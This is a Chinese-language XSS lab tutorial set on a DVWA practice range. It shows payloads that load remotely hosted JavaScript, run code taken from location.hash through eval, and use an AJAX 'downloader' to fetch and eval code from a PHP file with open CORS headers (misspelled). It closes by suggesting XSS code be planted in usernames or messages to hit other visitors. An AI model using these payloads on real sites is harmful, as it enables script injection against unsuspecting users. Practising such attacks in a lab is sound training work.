目录
在上两节中我们了解了XSS漏洞验证、语句构造与绕过的方法,而 完整的XSS攻击会将shellcode(shellcode就是利用漏洞所执行的代码)存放在一个地方,然后在存在XSS漏洞的地方触发漏洞去调用代码。
1 实验简介
1.1 实验目的
模拟利用XSS漏洞执行shellcode的几种方法。
1.2 实验环境
本实验均在虚拟机中进行,桥接到同一局域网中。
服务器:——虚拟机(IP为172.16.1.1):本节实验靶场是在win2008系统上基于phpstudy搭建的一个DVWA漏洞靶场,win2008及phpstudy的安装过程可以参考《【语言环境】WAMP环境部署及优化—以win2008R2SP1为操作系统》,DVWA漏洞靶场的搭建可以参考《【环境搭建-02】基于WAMP环境的DVWA漏洞靶场的搭建》。
。
靶机:winxp,IP地址为172.16.1.5。输入网址http://172.16.1.1/DVWA/login.php
访问dvwa页面,并输入账号admin,密码password进行登录。设置security级别为low,在反射型XSS页面测试以下方法。
2 shellcode的调用实验
shellcode就是利用漏洞所执行的代码。完整的XSS攻击会将shellcode存放在一个地方,然后在存在XSS漏洞的地方触发漏洞去调用代码。
2.1 远程调用JS
简介:可以将JS代码单独存放在一个JS文件中,然后通过http协议远程加载该脚本。具体过程如下:
(1)在win2008虚拟机中,开启phpstudy。
(2)在win2008虚拟机中的网站根目录下,新建文件夹xss-tset,并在其中新建文件命名为xss.js,输入内容为alert(‘xss1.js’),保存文件。
(3)在winxp的dvwa页面的输入框中输入<script src="http://172.16.1.1/xss-test/xss.js"></script>
,点击submit后弹出窗口,说明xss1.js代码已被执行。
2.2 利用Windows.location.hash触发JS
可以使用JS中的Windows.location.hash方法获取浏览器URL地址栏的XSS代码,也就是说触发时代码存在URL中。其中,Windows.location.hash用于获取URL中#后面的内容,包括#号。
(1)在winxp中,进入DVWA靶场的反射型XSS页面。
(2)构造以下参数传入URL中。?name=<script>eval(location.hash.substr(1))</script>#alert('This is window.location.hash')
,回车可以看到触发弹窗并执行代码。
2.3 利用XSS下载器
XSS下载器简介:XSS下载器就是将XSS代码写到网页中,然后通过AJAX技术,取得网页中的XSS代码。
AJAX技术简介:不是新的编程语言,而是一个技术,旨在实现下面几个功能,详细请点击《AJAX 简介》查看。
- 不刷新页面更新网页
- 在页面加载后从服务器请求数据
- 在页面加载后从服务器接收数据
- 在后台向服务器发送数据
利用XSS下载器调用shellcode的具体步骤如下:
(1)首先,在win2008网站根目录下的xss-tset文件夹下新建文件并命名为xss.php,写入以下内容。由于AJAX技术会受到浏览器同源策略(存放php代码所在网页与含漏洞的网页同域名,即没办法在读取a域名下的网页内容放到b域名下的网页去运行)的限制,为解决这个问题,我们需要在服务器端代码中添加header开头的两句话(实现跨域访问)。
<?php
header('Access-Contro-Allow-Origin:*');
header('Access-Contro-Allow-Headers:Origin, X-Requested-With, Content-type,Accept');
?>
~~~BOF|alert(/AJAX/)|EOF~~~
(2)在可能含xss的漏洞页面输入框内输入以下代码回车。注意,输入框类型最好是文本域(一个多行的文本输入控件),才能容纳以下这么多的文本。暂时没找到相关的漏洞测试页面,此处不做具体测试。
<script>
function XSS(){
if (window.XMLHttpRequest){
a = new XMLHttpRequest();
}else if (window.ActiveXObjest){
a = new ActiveXObjest("Microsoft.XMLHTTP");
}else {return;}
a.open('get','http://172.16.1.1/xss-test/xss.php',false);
a.send();
b=a.responseText;
eval(unescape(b.substring(b.indexOf('BOF|')+4,b.indexOf('|EOF'))));
}
XSS();
</script>
解析代码:
- window.XMLHttpRequest:判断浏览器是否是ie系列的浏览器
- a.open(‘get’,‘http://192.168.1.7/xss3.php’,false):通过get方式去打开;
- a.send():去发送http请求
- b=a.responseText;将它的相应赋值给b
- b.substring(b.indexOf(‘BOF|’)+4,b.indexOf(‘|EOF’)):是为了截取alert(/AJAX/)
- unescape():是为了解码,因为在url中部分字符会转换为url编码,因此需要进行解码
2.4 备选存储技术
shellcode还可以存储在客户端的本地域中,比如HTTP Cookie、Flash 共享对象、UserData、localStorage等。
在实际生活中,如何让别人中招呢?可以把自己的名字或留言设置为xss代码,若别人打开我们的主页或查看我们的留言,就会中招。